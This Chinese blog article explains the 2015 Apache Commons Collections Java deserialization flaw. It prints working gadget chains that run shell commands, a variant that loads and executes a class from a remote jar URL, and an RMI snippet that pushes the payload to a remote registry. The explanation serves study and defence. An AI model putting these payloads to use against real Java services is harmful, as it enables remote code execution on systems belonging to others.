Java反序列化漏洞详解

2015-12-27 21,519

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Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具。本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进行详细解读。

Java反序列化漏洞简介

Java序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中,Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。

Java反序列化即逆过程,由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。

因此要利用Java反序列化漏洞,需要在进行反序列化的地方传入攻击者的序列化代码。能符合以上条件的地方即存在漏洞。

Java反序列化Poc详解

[code lang="python"]public class test {
public static void main(String[] args) throws Exception {
String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,
Object[].class }, new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { execArgs }
)
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
BeforeTransformerMap.put("hello", "manning");
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
}[/code]

如果想彻底理解上面的poc,需要明白Java中的一些概念。

在Apache commons工具包中有很多jar包(jar包可以理解为python的库),具体jar包里面含有的内容,如下图所示。

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其中Java反序列化的问题出在org.apache.commons.collections这个库里面。org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等。换一种理解方式,collection是set,list,queue的抽象,collection中文含义是收集的意思,那么收集的具体方式就可以是set,list,queue了。

在org.apache.commons.collections内提供了一个接口类叫Transformer,这个接口的英文定义为

Defines a functor interface implemented by classes that transform one object into another.
也就是说接口于Transformer的类都具备把一个对象转化为另一个对象的功能。目前已知接口于Transformer的类,如下如所示。

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图上带箭头指示的为Java反序列化漏洞的poc含有的类。

ConstantTransformer Transformer implementation that returns the same constant each time. (把一个对象转化为常量,并返回)

InvokerTransformer Transformer implementation that creates a new object instance by reflection. (通过反射,返回一个对象)

ChainedTransformer Transformer implementation that chains the specified transformers together. (把一些transformer链接到一起,构成一组链条,对一个对象依次通过链条内的每一个transformer进行转换)

有了以上的相关概念,就可以理解最开始的poc了。poc里面,我们一共创建了以下关键对象。

execArgs

待执行的命令数组

transformers 一个transformer链,包含预设转化逻辑(各类transformer对象)的转化数组

transformedChain ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作

BeforeTransformerMap Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict理解即可

AfterTransformerMap Map数据结构,转换后的Map

整个poc的逻辑可以这么理解,构建了BeforeTransformerMap的键值对,为其赋值,利用TransformedMap的decorate方法,可以对Map数据结构的key,value进行transforme。

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。第一个参数为待转化的Map对象,第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空),第三个参数为Map对象内的value要经过的转化方法。

TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));

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图是调试时的转换变量内容,可以很清楚地看到执行完poc后,已经对Map的value进行了转换(过了一遍transformer链)。

poc中对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行。

在进行反序列化时,我们会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject(),那么该类在进行反序列化时,Java会优先调用重写的readObject()方法。

结合前述Commons Collections的特性,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map变量是可控的,就可以实现我们的攻击目标了。

因此我们在poc中看见了下行的代码。

[code lang="python"]</div>
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");[/code]

这个类完全符合我们的要求,具体解释可以查看TSRC的文章。

如果要实现一个可控的poc,需要对transformer链的构造进行理解。首先来看InvokerTransformer。

[code lang="python"]</div>
InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)[/code]

参数依次为:方法名称,参数类型,参数对象 我们找其中一个来看下。

[code lang="python"]</div>
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String.class },
new Object[] {"gedit"}
)[/code]

参数类型里面的内容完全对应于参数对象里的内容。

PS:由于Method类的invoke(Object obj,Object args[])方法的定义,所以在反射内写new Class[] {Object.class, Object[].class }。

所以正常流程如下所示:

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
基于报错的反序列化transformer链

[code lang="python"]</div>
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Java.net.URLClassLoader.class),
new InvokerTransformer(
"getConstructor",
new Class[] {Class[].class},
new Object[] {new Class[]{Java.net.URL[].class}}
),
new InvokerTransformer(
"newInstance",
new Class[] {Object[].class},
new Object[] { new Object[] { new Java.net.URL[] { new Java.net.URL(url) }}}
),
new InvokerTransformer(
"loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"do_exec", new Class[]{String.class}}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new String[]{cmd}}
)
}; [/code]

有了先前的理解,这个链就很明了了。先建立一个读取远程jar文件的类 URLClassLoader,实例化这个类,传入要访问的url,再读取远程加载类,接着获取类方法,然后反射这个方法。

关于RMI利用的相关内容

tang3已经在RMI利用文章讲过怎么利用了,这段内容,我只是详解下给出的poc的原理。

poc部分内容

[code lang="python"]</div>
Transformer transformedChain = new ChainedTransformer(transformers);
Map BeforeTransformerMap = new HashMap();
innerMap.put("value", "value");
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

InvocationHandler h = (InvocationHandler) instance;
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class},
h));
try{
Registry registry = LocateRegistry.getRegistry(ip, port);
registry.rebind("", r); // r is remote obj
}
catch (Throwable e) {
e.printStackTrace();
}[/code]

RMI利用的poc看上去还是很熟悉的,因为到建立instance时,还和之前的内容一致。之后便到了RMI内容独有的细节,从代码角度可以看出利用逻辑为:

建立实例对象instance

实例对象instance 转化为 InvocationHandler类型的句柄h(因为instance是序列化后的内容,所以instance就是一串数据)

把句柄h附载到Remote类实例 r上

向远程服务器注册,得到远程注册对象 registry

向远程注册对象registry注册 实例r

在Java的RMI中,我们允许向远程已运行的jvm虚拟环境中绑定(rebind函数,也可以理解为添加)一些实例对象,通过RMI协议传输一些序列化好的内容,这样服务端解析(也就是反序列化)传过来的数据后,便可把解析后的内容添加到运行环境中。构造remote类型实例r 方法很多,poc中利用动态代理创建remote实例r是方法之一。

因此涉及RMI的代码也会存在Java反序列化漏洞。

漏洞影响分析

Java反序列化漏洞从爆出到现在快2个月了。最开始的只能命令执行和反弹shell,到后来的有回显的命令执行,到最终的代码执行,利用上来是越来越方便(有回显的命令执行和代码执行均为利用远程jar文件的利用形式)。从微博来看,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具。待最终利用工具公布,此漏洞还会有一个上升趋势的影响。

资料引用

http://blog.chaitin.com/2015-11-11_java_unserialize_rce/

http://security.tencent.com/index.php/blog/msg/97

http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

http://www.infoq.com/cn/articles/cf-java-object-serialization-rmi

http://blog.nsfocus.net/learning-guide-java-serialization-de-serialization-vulnerability-remediation/

http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/

【原文:Java反序列化漏洞详解  安全脉搏Blackhold整理发布】

本文作者:blackhold

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